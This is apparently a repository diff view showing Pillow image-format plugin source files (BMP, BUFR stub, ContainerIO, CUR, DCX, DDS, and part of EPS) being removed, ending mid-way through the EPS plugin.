# ---------------------- Check bit depth for unusual unsupported values
self.mode, raw_mode = BIT2MODE.get(file_info["bits"], (None, None))
if self.mode is None:
raise OSError(f"Unsupported BMP pixel depth ({file_info['bits']})")
# ---------------- Process BMP with Bitfields compression (not palette)
decoder_name = "raw"
if file_info["compression"] == self.BITFIELDS:
SUPPORTED = {
32: [
(0xFF0000, 0xFF00, 0xFF, 0x0),
(0xFF000000, 0xFF0000, 0xFF00, 0x0),
(0xFF000000, 0xFF0000, 0xFF00, 0xFF),
(0xFF, 0xFF00, 0xFF0000, 0xFF000000),
(0xFF0000, 0xFF00, 0xFF, 0xFF000000),
(0x0, 0x0, 0x0, 0x0),
],
24: [(0xFF0000, 0xFF00, 0xFF)],
16: [(0xF800, 0x7E0, 0x1F), (0x7C00, 0x3E0, 0x1F)],
}
MASK_MODES = {
(32, (0xFF0000, 0xFF00, 0xFF, 0x0)): "BGRX",
(32, (0xFF000000, 0xFF0000, 0xFF00, 0x0)): "XBGR",
(32, (0xFF000000, 0xFF0000, 0xFF00, 0xFF)): "ABGR",
(32, (0xFF, 0xFF00, 0xFF0000, 0xFF000000)): "RGBA",
(32, (0xFF0000, 0xFF00, 0xFF, 0xFF000000)): "BGRA",
(32, (0x0, 0x0, 0x0, 0x0)): "BGRA",
(24, (0xFF0000, 0xFF00, 0xFF)): "BGR",
(16, (0xF800, 0x7E0, 0x1F)): "BGR;16",
(16, (0x7C00, 0x3E0, 0x1F)): "BGR;15",
}
if file_info["bits"] in SUPPORTED:
if (
file_info["bits"] == 32
and file_info["rgba_mask"] in SUPPORTED[file_info["bits"]]
):
raw_mode = MASK_MODES[(file_info["bits"], file_info["rgba_mask"])]
self.mode = "RGBA" if "A" in raw_mode else self.mode
elif (
file_info["bits"] in (24, 16)
and file_info["rgb_mask"] in SUPPORTED[file_info["bits"]]
):
raw_mode = MASK_MODES[(file_info["bits"], file_info["rgb_mask"])]
else:
raise OSError("Unsupported BMP bitfields layout")
else:
raise OSError("Unsupported BMP bitfields layout")
elif file_info["compression"] == self.RAW:
if file_info["bits"] == 32 and header == 22: # 32-bit .cur offset
raw_mode, self.mode = "BGRA", "RGBA"
elif file_info["compression"] in (self.RLE8, self.RLE4):
decoder_name = "bmp_rle"
else:
raise OSError(f"Unsupported BMP compression ({file_info['compression']})")
# --------------- Once the header is processed, process the palette/LUT
if self.mode == "P": # Paletted for 1, 4 and 8 bit images
# ---------------------------------------------------- 1-bit images
if not (0 < file_info["colors"] <= 65536):
raise OSError(f"Unsupported BMP Palette size ({file_info['colors']})")
else:
padding = file_info["palette_padding"]
palette = read(padding * file_info["colors"])
greyscale = True
indices = (
(0, 255)
if file_info["colors"] == 2
else list(range(file_info["colors"]))
)
# ----------------- Check if greyscale and ignore palette if so
for ind, val in enumerate(indices):
rgb = palette[ind * padding : ind * padding + 3]
if rgb != o8(val) * 3:
greyscale = False
# ------- If all colors are grey, white or black, ditch palette
if greyscale:
self.mode = "1" if file_info["colors"] == 2 else "L"
raw_mode = self.mode
else:
self.mode = "P"
self.palette = ImagePalette.raw(
"BGRX" if padding == 4 else "BGR", palette
)
# ---------------------------- Finally set the tile data for the plugin
self.info["compression"] = file_info["compression"]
args = [raw_mode]
if decoder_name == "bmp_rle":
args.append(file_info["compression"] == self.RLE4)
else:
args.append(((file_info["width"] * file_info["bits"] + 31) >> 3) & (~3))
args.append(file_info["direction"])
self.tile = [
(
decoder_name,
(0, 0, file_info["width"], file_info["height"]),
offset or self.fp.tell(),
tuple(args),
)
]
def _open(self):
"""Open file, check magic number and read header"""
# read 14 bytes: magic number, filesize, reserved, header final offset
head_data = self.fp.read(14)
# choke if the file does not have the required magic bytes
if not _accept(head_data):
raise SyntaxError("Not a BMP file")
# read the start position of the BMP image data (u32)
offset = i32(head_data, 10)
# load bitmap information (offset=raster info)
self._bitmap(offset=offset)
class BmpRleDecoder(ImageFile.PyDecoder):
_pulls_fd = True
def decode(self, buffer):
rle4 = self.args[1]
data = bytearray()
x = 0
while len(data) < self.state.xsize * self.state.ysize:
pixels = self.fd.read(1)
byte = self.fd.read(1)
if not pixels or not byte:
break
num_pixels = pixels[0]
if num_pixels:
# encoded mode
if x + num_pixels > self.state.xsize:
# Too much data for row
num_pixels = max(0, self.state.xsize - x)
if rle4:
first_pixel = o8(byte[0] >> 4)
second_pixel = o8(byte[0] & 0x0F)
for index in range(num_pixels):
if index % 2 == 0:
data += first_pixel
else:
data += second_pixel
else:
data += byte * num_pixels
x += num_pixels
else:
if byte[0] == 0:
# end of line
while len(data) % self.state.xsize != 0:
data += b"\x00"
x = 0
elif byte[0] == 1:
# end of bitmap
break
elif byte[0] == 2:
# delta
bytes_read = self.fd.read(2)
if len(bytes_read) < 2:
break
right, up = self.fd.read(2)
data += b"\x00" * (right + up * self.state.xsize)
x = len(data) % self.state.xsize
else:
# absolute mode
if rle4:
# 2 pixels per byte
byte_count = byte[0] // 2
bytes_read = self.fd.read(byte_count)
for byte_read in bytes_read:
data += o8(byte_read >> 4)
data += o8(byte_read & 0x0F)
else:
byte_count = byte[0]
bytes_read = self.fd.read(byte_count)
data += bytes_read
if len(bytes_read) < byte_count:
break
x += byte[0]
# align to 16-bit word boundary
if self.fd.tell() % 2 != 0:
self.fd.seek(1, os.SEEK_CUR)
rawmode = "L" if self.mode == "L" else "P"
self.set_as_raw(bytes(data), (rawmode, 0, self.args[-1]))
return -1, 0
# =============================================================================
# Image plugin for the DIB format (BMP alias)
# =============================================================================
class DibImageFile(BmpImageFile):
format = "DIB"
format_description = "Windows Bitmap"
def _open(self):
self._bitmap()
#
# --------------------------------------------------------------------
# Write BMP file
SAVE = {
"1": ("1", 1, 2),
"L": ("L", 8, 256),
"P": ("P", 8, 256),
"RGB": ("BGR", 24, 0),
"RGBA": ("BGRA", 32, 0),
}
def _dib_save(im, fp, filename):
_save(im, fp, filename, False)
def _save(im, fp, filename, bitmap_header=True):
try:
rawmode, bits, colors = SAVE[im.mode]
except KeyError as e:
raise OSError(f"cannot write mode {im.mode} as BMP") from e
info = im.encoderinfo
dpi = info.get("dpi", (96, 96))
# 1 meter == 39.3701 inches
ppm = tuple(map(lambda x: int(x * 39.3701 + 0.5), dpi))
stride = ((im.size[0] * bits + 7) // 8 + 3) & (~3)
header = 40 # or 64 for OS/2 version 2
image = stride * im.size[1]
if im.mode == "1":
palette = b"".join(o8(i) * 4 for i in (0, 255))
elif im.mode == "L":
palette = b"".join(o8(i) * 4 for i in range(256))
elif im.mode == "P":
palette = im.im.getpalette("RGB", "BGRX")
colors = len(palette) // 4
else:
palette = None
# bitmap header
if bitmap_header:
offset = 14 + header + colors * 4
file_size = offset + image
if file_size > 2**32 - 1:
raise ValueError("File size is too large for the BMP format")
fp.write(
b"BM" # file type (magic)
+ o32(file_size) # file size
+ o32(0) # reserved
+ o32(offset) # image data offset
)
# bitmap info header
fp.write(
o32(header) # info header size
+ o32(im.size[0]) # width
+ o32(im.size[1]) # height
+ o16(1) # planes
+ o16(bits) # depth
+ o32(0) # compression (0=uncompressed)
+ o32(image) # size of bitmap
+ o32(ppm[0]) # resolution
+ o32(ppm[1]) # resolution
+ o32(colors) # colors used
+ o32(colors) # colors important
)
fp.write(b"\0" * (header - 40)) # padding (for OS/2 format)
if palette:
fp.write(palette)
ImageFile._save(im, fp, [("raw", (0, 0) + im.size, 0, (rawmode, stride, -1))])
#
# --------------------------------------------------------------------
# Registry
Image.register_open(BmpImageFile.format, BmpImageFile, _accept)
Image.register_save(BmpImageFile.format, _save)
Image.register_extension(BmpImageFile.format, ".bmp")
Image.register_mime(BmpImageFile.format, "image/bmp")
Image.register_decoder("bmp_rle", BmpRleDecoder)
Image.register_open(DibImageFile.format, DibImageFile, _dib_accept)
Image.register_save(DibImageFile.format, _dib_save)
Image.register_extension(DibImageFile.format, ".dib")
Image.register_mime(DibImageFile.format, "image/bmp")

View File

@@ -1,73 +0,0 @@
#
# The Python Imaging Library
# $Id$
#
# BUFR stub adapter
#
# Copyright (c) 1996-2003 by Fredrik Lundh
#
# See the README file for information on usage and redistribution.
#
from . import Image, ImageFile
_handler = None
def register_handler(handler):
"""
Install application-specific BUFR image handler.
:param handler: Handler object.
"""
global _handler
_handler = handler
# --------------------------------------------------------------------
# Image adapter
def _accept(prefix):
return prefix[:4] == b"BUFR" or prefix[:4] == b"ZCZC"
class BufrStubImageFile(ImageFile.StubImageFile):
format = "BUFR"
format_description = "BUFR"
def _open(self):
offset = self.fp.tell()
if not _accept(self.fp.read(4)):
raise SyntaxError("Not a BUFR file")
self.fp.seek(offset)
# make something up
self.mode = "F"
self._size = 1, 1
loader = self._load()
if loader:
loader.open(self)
def _load(self):
return _handler
def _save(im, fp, filename):
if _handler is None or not hasattr(_handler, "save"):
raise OSError("BUFR save handler not installed")
_handler.save(im, fp, filename)
# --------------------------------------------------------------------
# Registry
Image.register_open(BufrStubImageFile.format, BufrStubImageFile, _accept)
Image.register_save(BufrStubImageFile.format, _save)
Image.register_extension(BufrStubImageFile.format, ".bufr")

View File

@@ -1,120 +0,0 @@
#
# The Python Imaging Library.
# $Id$
#
# a class to read from a container file
#
# History:
# 1995-06-18 fl Created
# 1995-09-07 fl Added readline(), readlines()
#
# Copyright (c) 1997-2001 by Secret Labs AB
# Copyright (c) 1995 by Fredrik Lundh
#
# See the README file for information on usage and redistribution.
#
import io
class ContainerIO:
"""
A file object that provides read access to a part of an existing
file (for example a TAR file).
"""
def __init__(self, file, offset, length):
"""
Create file object.
:param file: Existing file.
:param offset: Start of region, in bytes.
:param length: Size of region, in bytes.
"""
self.fh = file
self.pos = 0
self.offset = offset
self.length = length
self.fh.seek(offset)
##
# Always false.
def isatty(self):
return False
def seek(self, offset, mode=io.SEEK_SET):
"""
Move file pointer.
:param offset: Offset in bytes.
:param mode: Starting position. Use 0 for beginning of region, 1
for current offset, and 2 for end of region. You cannot move
the pointer outside the defined region.
"""
if mode == 1:
self.pos = self.pos + offset
elif mode == 2:
self.pos = self.length + offset
else:
self.pos = offset
# clamp
self.pos = max(0, min(self.pos, self.length))
self.fh.seek(self.offset + self.pos)
def tell(self):
"""
Get current file pointer.
:returns: Offset from start of region, in bytes.
"""
return self.pos
def read(self, n=0):
"""
Read data.
:param n: Number of bytes to read. If omitted or zero,
read until end of region.
:returns: An 8-bit string.
"""
if n:
n = min(n, self.length - self.pos)
else:
n = self.length - self.pos
if not n: # EOF
return b"" if "b" in self.fh.mode else ""
self.pos = self.pos + n
return self.fh.read(n)
def readline(self):
"""
Read a line of text.
:returns: An 8-bit string.
"""
s = b"" if "b" in self.fh.mode else ""
newline_character = b"\n" if "b" in self.fh.mode else "\n"
while True:
c = self.read(1)
if not c:
break
s = s + c
if c == newline_character:
break
return s
def readlines(self):
"""
Read multiple lines of text.
:returns: A list of 8-bit strings.
"""
lines = []
while True:
s = self.readline()
if not s:
break
lines.append(s)
return lines

View File

@@ -1,75 +0,0 @@
#
# The Python Imaging Library.
# $Id$
#
# Windows Cursor support for PIL
#
# notes:
# uses BmpImagePlugin.py to read the bitmap data.
#
# history:
# 96-05-27 fl Created
#
# Copyright (c) Secret Labs AB 1997.
# Copyright (c) Fredrik Lundh 1996.
#
# See the README file for information on usage and redistribution.
#
from . import BmpImagePlugin, Image
from ._binary import i16le as i16
from ._binary import i32le as i32
#
# --------------------------------------------------------------------
def _accept(prefix):
return prefix[:4] == b"\0\0\2\0"
##
# Image plugin for Windows Cursor files.
class CurImageFile(BmpImagePlugin.BmpImageFile):
format = "CUR"
format_description = "Windows Cursor"
def _open(self):
offset = self.fp.tell()
# check magic
s = self.fp.read(6)
if not _accept(s):
raise SyntaxError("not a CUR file")
# pick the largest cursor in the file
m = b""
for i in range(i16(s, 4)):
s = self.fp.read(16)
if not m:
m = s
elif s[0] > m[0] and s[1] > m[1]:
m = s
if not m:
raise TypeError("No cursors were found")
# load as bitmap
self._bitmap(i32(m, 12) + offset)
# patch up the bitmap height
self._size = self.size[0], self.size[1] // 2
d, e, o, a = self.tile[0]
self.tile[0] = d, (0, 0) + self.size, o, a
return
#
# --------------------------------------------------------------------
Image.register_open(CurImageFile.format, CurImageFile, _accept)
Image.register_extension(CurImageFile.format, ".cur")

View File

@@ -1,80 +0,0 @@
#
# The Python Imaging Library.
# $Id$
#
# DCX file handling
#
# DCX is a container file format defined by Intel, commonly used
# for fax applications. Each DCX file consists of a directory
# (a list of file offsets) followed by a set of (usually 1-bit)
# PCX files.
#
# History:
# 1995-09-09 fl Created
# 1996-03-20 fl Properly derived from PcxImageFile.
# 1998-07-15 fl Renamed offset attribute to avoid name clash
# 2002-07-30 fl Fixed file handling
#
# Copyright (c) 1997-98 by Secret Labs AB.
# Copyright (c) 1995-96 by Fredrik Lundh.
#
# See the README file for information on usage and redistribution.
#
from . import Image
from ._binary import i32le as i32
from .PcxImagePlugin import PcxImageFile
MAGIC = 0x3ADE68B1 # QUIZ: what's this value, then?
def _accept(prefix):
return len(prefix) >= 4 and i32(prefix) == MAGIC
##
# Image plugin for the Intel DCX format.
class DcxImageFile(PcxImageFile):
format = "DCX"
format_description = "Intel DCX"
_close_exclusive_fp_after_loading = False
def _open(self):
# Header
s = self.fp.read(4)
if not _accept(s):
raise SyntaxError("not a DCX file")
# Component directory
self._offset = []
for i in range(1024):
offset = i32(self.fp.read(4))
if not offset:
break
self._offset.append(offset)
self._fp = self.fp
self.frame = None
self.n_frames = len(self._offset)
self.is_animated = self.n_frames > 1
self.seek(0)
def seek(self, frame):
if not self._seek_check(frame):
return
self.frame = frame
self.fp = self._fp
self.fp.seek(self._offset[frame])
PcxImageFile._open(self)
def tell(self):
return self.frame
Image.register_open(DcxImageFile.format, DcxImageFile, _accept)
Image.register_extension(DcxImageFile.format, ".dcx")

View File

@@ -1,267 +0,0 @@
"""
A Pillow loader for .dds files (S3TC-compressed aka DXTC)
Jerome Leclanche <jerome@leclan.ch>
Documentation:
https://web.archive.org/web/20170802060935/http://oss.sgi.com/projects/ogl-sample/registry/EXT/texture_compression_s3tc.txt
The contents of this file are hereby released in the public domain (CC0)
Full text of the CC0 license:
https://creativecommons.org/publicdomain/zero/1.0/
"""
import struct
from io import BytesIO
from . import Image, ImageFile
from ._binary import o32le as o32
# Magic ("DDS ")
DDS_MAGIC = 0x20534444
# DDS flags
DDSD_CAPS = 0x1
DDSD_HEIGHT = 0x2
DDSD_WIDTH = 0x4
DDSD_PITCH = 0x8
DDSD_PIXELFORMAT = 0x1000
DDSD_MIPMAPCOUNT = 0x20000
DDSD_LINEARSIZE = 0x80000
DDSD_DEPTH = 0x800000
# DDS caps
DDSCAPS_COMPLEX = 0x8
DDSCAPS_TEXTURE = 0x1000
DDSCAPS_MIPMAP = 0x400000
DDSCAPS2_CUBEMAP = 0x200
DDSCAPS2_CUBEMAP_POSITIVEX = 0x400
DDSCAPS2_CUBEMAP_NEGATIVEX = 0x800
DDSCAPS2_CUBEMAP_POSITIVEY = 0x1000
DDSCAPS2_CUBEMAP_NEGATIVEY = 0x2000
DDSCAPS2_CUBEMAP_POSITIVEZ = 0x4000
DDSCAPS2_CUBEMAP_NEGATIVEZ = 0x8000
DDSCAPS2_VOLUME = 0x200000
# Pixel Format
DDPF_ALPHAPIXELS = 0x1
DDPF_ALPHA = 0x2
DDPF_FOURCC = 0x4
DDPF_PALETTEINDEXED8 = 0x20
DDPF_RGB = 0x40
DDPF_LUMINANCE = 0x20000
# dds.h
DDS_FOURCC = DDPF_FOURCC
DDS_RGB = DDPF_RGB
DDS_RGBA = DDPF_RGB | DDPF_ALPHAPIXELS
DDS_LUMINANCE = DDPF_LUMINANCE
DDS_LUMINANCEA = DDPF_LUMINANCE | DDPF_ALPHAPIXELS
DDS_ALPHA = DDPF_ALPHA
DDS_PAL8 = DDPF_PALETTEINDEXED8
DDS_HEADER_FLAGS_TEXTURE = DDSD_CAPS | DDSD_HEIGHT | DDSD_WIDTH | DDSD_PIXELFORMAT
DDS_HEADER_FLAGS_MIPMAP = DDSD_MIPMAPCOUNT
DDS_HEADER_FLAGS_VOLUME = DDSD_DEPTH
DDS_HEADER_FLAGS_PITCH = DDSD_PITCH
DDS_HEADER_FLAGS_LINEARSIZE = DDSD_LINEARSIZE
DDS_HEIGHT = DDSD_HEIGHT
DDS_WIDTH = DDSD_WIDTH
DDS_SURFACE_FLAGS_TEXTURE = DDSCAPS_TEXTURE
DDS_SURFACE_FLAGS_MIPMAP = DDSCAPS_COMPLEX | DDSCAPS_MIPMAP
DDS_SURFACE_FLAGS_CUBEMAP = DDSCAPS_COMPLEX
DDS_CUBEMAP_POSITIVEX = DDSCAPS2_CUBEMAP | DDSCAPS2_CUBEMAP_POSITIVEX
DDS_CUBEMAP_NEGATIVEX = DDSCAPS2_CUBEMAP | DDSCAPS2_CUBEMAP_NEGATIVEX
DDS_CUBEMAP_POSITIVEY = DDSCAPS2_CUBEMAP | DDSCAPS2_CUBEMAP_POSITIVEY
DDS_CUBEMAP_NEGATIVEY = DDSCAPS2_CUBEMAP | DDSCAPS2_CUBEMAP_NEGATIVEY
DDS_CUBEMAP_POSITIVEZ = DDSCAPS2_CUBEMAP | DDSCAPS2_CUBEMAP_POSITIVEZ
DDS_CUBEMAP_NEGATIVEZ = DDSCAPS2_CUBEMAP | DDSCAPS2_CUBEMAP_NEGATIVEZ
# DXT1
DXT1_FOURCC = 0x31545844
# DXT3
DXT3_FOURCC = 0x33545844
# DXT5
DXT5_FOURCC = 0x35545844
# dxgiformat.h
DXGI_FORMAT_R8G8B8A8_TYPELESS = 27
DXGI_FORMAT_R8G8B8A8_UNORM = 28
DXGI_FORMAT_R8G8B8A8_UNORM_SRGB = 29
DXGI_FORMAT_BC5_TYPELESS = 82
DXGI_FORMAT_BC5_UNORM = 83
DXGI_FORMAT_BC5_SNORM = 84
DXGI_FORMAT_BC6H_UF16 = 95
DXGI_FORMAT_BC6H_SF16 = 96
DXGI_FORMAT_BC7_TYPELESS = 97
DXGI_FORMAT_BC7_UNORM = 98
DXGI_FORMAT_BC7_UNORM_SRGB = 99
class DdsImageFile(ImageFile.ImageFile):
format = "DDS"
format_description = "DirectDraw Surface"
def _open(self):
if not _accept(self.fp.read(4)):
raise SyntaxError("not a DDS file")
(header_size,) = struct.unpack("<I", self.fp.read(4))
if header_size != 124:
raise OSError(f"Unsupported header size {repr(header_size)}")
header_bytes = self.fp.read(header_size - 4)
if len(header_bytes) != 120:
raise OSError(f"Incomplete header: {len(header_bytes)} bytes")
header = BytesIO(header_bytes)
flags, height, width = struct.unpack("<3I", header.read(12))
self._size = (width, height)
self.mode = "RGBA"
pitch, depth, mipmaps = struct.unpack("<3I", header.read(12))
struct.unpack("<11I", header.read(44)) # reserved
# pixel format
pfsize, pfflags = struct.unpack("<2I", header.read(8))
fourcc = header.read(4)
(bitcount,) = struct.unpack("<I", header.read(4))
masks = struct.unpack("<4I", header.read(16))
if pfflags & DDPF_RGB:
# Texture contains uncompressed RGB data
masks = {mask: ["R", "G", "B", "A"][i] for i, mask in enumerate(masks)}
rawmode = ""
if bitcount == 32:
rawmode += masks[0xFF000000]
else:
self.mode = "RGB"
rawmode += masks[0xFF0000] + masks[0xFF00] + masks[0xFF]
self.tile = [("raw", (0, 0) + self.size, 0, (rawmode[::-1], 0, 1))]
else:
data_start = header_size + 4
n = 0
if fourcc == b"DXT1":
self.pixel_format = "DXT1"
n = 1
elif fourcc == b"DXT3":
self.pixel_format = "DXT3"
n = 2
elif fourcc == b"DXT5":
self.pixel_format = "DXT5"
n = 3
elif fourcc == b"ATI1":
self.pixel_format = "BC4"
n = 4
self.mode = "L"
elif fourcc == b"ATI2":
self.pixel_format = "BC5"
n = 5
self.mode = "RGB"
elif fourcc == b"BC5S":
self.pixel_format = "BC5S"
n = 5
self.mode = "RGB"
elif fourcc == b"DX10":
data_start += 20
# ignoring flags which pertain to volume textures and cubemaps
(dxgi_format,) = struct.unpack("<I", self.fp.read(4))
self.fp.read(16)
if dxgi_format in (DXGI_FORMAT_BC5_TYPELESS, DXGI_FORMAT_BC5_UNORM):
self.pixel_format = "BC5"
n = 5
self.mode = "RGB"
elif dxgi_format == DXGI_FORMAT_BC5_SNORM:
self.pixel_format = "BC5S"
n = 5
self.mode = "RGB"
elif dxgi_format == DXGI_FORMAT_BC6H_UF16:
self.pixel_format = "BC6H"
n = 6
self.mode = "RGB"
elif dxgi_format == DXGI_FORMAT_BC6H_SF16:
self.pixel_format = "BC6HS"
n = 6
self.mode = "RGB"
elif dxgi_format in (DXGI_FORMAT_BC7_TYPELESS, DXGI_FORMAT_BC7_UNORM):
self.pixel_format = "BC7"
n = 7
elif dxgi_format == DXGI_FORMAT_BC7_UNORM_SRGB:
self.pixel_format = "BC7"
self.info["gamma"] = 1 / 2.2
n = 7
elif dxgi_format in (
DXGI_FORMAT_R8G8B8A8_TYPELESS,
DXGI_FORMAT_R8G8B8A8_UNORM,
DXGI_FORMAT_R8G8B8A8_UNORM_SRGB,
):
self.tile = [("raw", (0, 0) + self.size, 0, ("RGBA", 0, 1))]
if dxgi_format == DXGI_FORMAT_R8G8B8A8_UNORM_SRGB:
self.info["gamma"] = 1 / 2.2
return
else:
raise NotImplementedError(
f"Unimplemented DXGI format {dxgi_format}"
)
else:
raise NotImplementedError(f"Unimplemented pixel format {repr(fourcc)}")
self.tile = [
("bcn", (0, 0) + self.size, data_start, (n, self.pixel_format))
]
def load_seek(self, pos):
pass
def _save(im, fp, filename):
if im.mode not in ("RGB", "RGBA"):
raise OSError(f"cannot write mode {im.mode} as DDS")
fp.write(
o32(DDS_MAGIC)
+ o32(124) # header size
+ o32(
DDSD_CAPS | DDSD_HEIGHT | DDSD_WIDTH | DDSD_PITCH | DDSD_PIXELFORMAT
) # flags
+ o32(im.height)
+ o32(im.width)
+ o32((im.width * (32 if im.mode == "RGBA" else 24) + 7) // 8) # pitch
+ o32(0) # depth
+ o32(0) # mipmaps
+ o32(0) * 11 # reserved
+ o32(32) # pfsize
+ o32(DDS_RGBA if im.mode == "RGBA" else DDPF_RGB) # pfflags
+ o32(0) # fourcc
+ o32(32 if im.mode == "RGBA" else 24) # bitcount
+ o32(0xFF0000) # rbitmask
+ o32(0xFF00) # gbitmask
+ o32(0xFF) # bbitmask
+ o32(0xFF000000 if im.mode == "RGBA" else 0) # abitmask
+ o32(DDSCAPS_TEXTURE) # dwCaps
+ o32(0) # dwCaps2
+ o32(0) # dwCaps3
+ o32(0) # dwCaps4
+ o32(0) # dwReserved2
)
if im.mode == "RGBA":
r, g, b, a = im.split()
im = Image.merge("RGBA", (a, r, g, b))
ImageFile._save(im, fp, [("raw", (0, 0) + im.size, 0, (im.mode[::-1], 0, 1))])
def _accept(prefix):
return prefix[:4] == b"DDS "
Image.register_open(DdsImageFile.format, DdsImageFile, _accept)
Image.register_save(DdsImageFile.format, _save)
Image.register_extension(DdsImageFile.format, ".dds")

View File

@@ -1,414 +0,0 @@
#
# The Python Imaging Library.
# $Id$
#
# EPS file handling
#
# History:
# 1995-09-01 fl Created (0.1)
# 1996-05-18 fl Don't choke on "atend" fields, Ghostscript interface (0.2)
# 1996-08-22 fl Don't choke on floating point BoundingBox values
# 1996-08-23 fl Handle files from Macintosh (0.3)
# 2001-02-17 fl Use 're' instead of 'regex' (Python 2.1) (0.4)
# 2003-09-07 fl Check gs.close status (from Federico Di Gregorio) (0.5)
# 2014-05-07 e Handling of EPS with binary preview and fixed resolution
# resizing
#
# Copyright (c) 1997-2003 by Secret Labs AB.
# Copyright (c) 1995-2003 by Fredrik Lundh
#
# See the README file for information on usage and redistribution.
#
import io
import os
import re
import subprocess
import sys
import tempfile
from . import Image, ImageFile
from ._binary import i32le as i32
#
# --------------------------------------------------------------------
split = re.compile(r"^%%([^:]*):[ \t]*(.*)[ \t]*$")
field = re.compile(r"^%[%!\w]([^:]*)[ \t]*$")
gs_windows_binary = None
if sys.platform.startswith("win"):
import shutil
for binary in ("gswin32c", "gswin64c", "gs"):
if shutil.which(binary) is not None:
gs_windows_binary = binary
break
else:
gs_windows_binary = False
def has_ghostscript():
if gs_windows_binary:
return True
if not sys.platform.startswith("win"):
try:
subprocess.check_call(["gs", "--version"], stdout=subprocess.DEVNULL)
return True
except OSError:
# No Ghostscript
pass
return False
def Ghostscript(tile, size, fp, scale=1, transparency=False):
"""Render an image using Ghostscript"""
# Unpack decoder tile
decoder, tile, offset, data = tile[0]
length, bbox = data
# Hack to support hi-res rendering
scale = int(scale) or 1
# orig_size = size
# orig_bbox = bbox
size = (size[0] * scale, size[1] * scale)
# resolution is dependent on bbox and size
res = (
72.0 * size[0] / (bbox[2] - bbox[0]),
72.0 * size[1] / (bbox[3] - bbox[1]),
)
out_fd, outfile = tempfile.mkstemp()
os.close(out_fd)
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# Ignore length and offset!
# Ghostscript can read it
# Copy whole file to read in Ghostscript
with open(infile_temp, "wb") as f:
# fetch length of fp
fp.seek(0, io.SEEK_END)
fsize = fp.tell()
# ensure start position
# go back
fp.seek(0)
lengthfile = fsize
while lengthfile > 0:
s = fp.read(min(lengthfile, 100 * 1024))
if not s:
break
lengthfile -= len(s)
f.write(s)
device = "pngalpha" if transparency else "ppmraw"
# Build Ghostscript command
command = [
"gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
f"-sDEVICE={device}",
f"-sOutputFile={outfile}", # output file
# adjust for image origin
"-c",
f"{-bbox[0]} {-bbox[1]} translate",
"-f",
infile, # input file
# showpage (see https://bugs.ghostscript.com/show_bug.cgi?id=698272)
"-c",
"showpage",
]
if gs_windows_binary is not None:
if not gs_windows_binary:
raise OSError("Unable to locate Ghostscript on paths")
command[0] = gs_windows_binary
# push data through Ghostscript
try:
startupinfo = None
if sys.platform.startswith("win"):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, startupinfo=startupinfo)
out_im = Image.open(outfile)
out_im.load()
finally:
try:
os.unlink(outfile)
if infile_temp:
os.unlink(infile_temp)
except OSError:
pass
im = out_im.im.copy()
out_im.close()
return im
class PSFile:
"""
Wrapper for bytesio object that treats either CR or LF as end of line.
"""
def __init__(self, fp):
self.fp = fp
self.char = None
def seek(self, offset, whence=io.SEEK_SET):
self.char = None
self.fp.seek(offset, whence)
def readline(self):
s = [self.char or b""]
self.char = None
c = self.fp.read(1)
while (c not in b"\r\n") and len(c):
s.append(c)
c = self.fp.read(1)
self.char = self.fp.read(1)
# line endings can be 1 or 2 of \r \n, in either order
if self.char in b"\r\n":
self.char = None
return b"".join(s).decode("latin-1")
def _accept(prefix):
return prefix[:4] == b"%!PS" or (len(prefix) >= 4 and i32(prefix) == 0xC6D3D0C5)
##
# Image plugin for Encapsulated PostScript. This plugin supports only
# a few variants of this format.
class EpsImageFile(ImageFile.ImageFile):
"""EPS File Parser for the Python Imaging Library"""
format = "EPS"
format_description = "Encapsulated Postscript"
mode_map = {1: "L", 2: "LAB", 3: "RGB", 4: "CMYK"}
def _open(self):
(length, offset) = self._find_offset(self.fp)
# Rewrap the open file pointer in something that will
# convert line endings and decode to latin-1.
fp = PSFile(self.fp)
# go to offset - start of "%!PS"
fp.seek(offset)
box = None
self.mode = "RGB"
self._size = 1, 1 # FIXME: huh?
#
# Load EPS header
s_raw = fp.readline()
s = s_raw.strip("\r\n")
while s_raw:
if s:
if len(s) > 255:
raise SyntaxError("not an EPS file")
try:
m = split.match(s)
except re.error as e:
raise SyntaxError("not an EPS file") from e
if m:
k, v = m.group(1, 2)
self.info[k] = v
if k == "BoundingBox":
try:
# Note: The DSC spec says that BoundingBox
# fields should be integers, but some drivers
# put floating point values there anyway.
box = [int(float(i)) for i in v.split()]
self._size = box[2] - box[0], box[3] - box[1]
self.tile = [
("eps", (0, 0) + self.size, offset, (length, box))
]
except Exception:
pass
else:
m = field.match(s)
if m:
k = m.group(1)
if k == "EndComments":
break
if k[:8] == "PS-Adobe":
self.info[k[:8]] = k[9:]
else:
self.info[k] = ""
elif s[0] == "%":
# handle non-DSC PostScript comments that some
# tools mistakenly put in the Comments section
pass
else:
raise OSError("bad EPS header")
s_raw = fp.readline()
s = s_raw.strip("\r\n")
if s and s[:1] != "%":
break
#
# Scan for an "ImageData" descriptor
while s[:1] == "%":
if len(s) > 255:
raise SyntaxError("not an EPS file")
if s[:11] == "%ImageData:":
# Encoded bitmapped image.
x, y, bi, mo = s[11:].split(None, 7)[:4]
if int(bi) == 1:
self.mode = "1"
elif int(bi) == 8:
try:
self.mode = self.mode_map[int(mo)]
except ValueError:
break
else:
break
self._size = int(x), int(y)
return
s = fp.readline().strip("\r\n")
if not s:
break
if not box:
raise OSError("cannot determine EPS bounding box")
def _find_offset(self, fp):
s = fp.read(160)
if s[:4] == b"%!PS":
# for HEAD without binary preview
fp.seek(0, io.SEEK_END)
length = fp.tell()
offset = 0
elif i32(s, 0) == 0xC6D3D0C5:
# FIX for: Some EPS file not handled correctly / issue #302
# EPS can contain binary data
# or start directly with latin coding
# more info see:
# https://web.archive.org/web/20160528181353/http://partners.adobe.com/public/developer/en/ps/5002.EPSF_Spec.pdf
offset = i32(s, 4)
length = i32(s, 8)
else:
raise SyntaxError("not an EPS file")
return length, offset
def load(self, scale=1, transparency=False):
# Load EPS via Ghostscript
if self.tile:
self.im = Ghostscript(self.tile, self.size, self.fp, scale, transparency)
self.mode = self.im.mode
self._size = self.im.size
self.tile = []
return Image.Image.load(self)
def load_seek(self, *args, **kwargs):
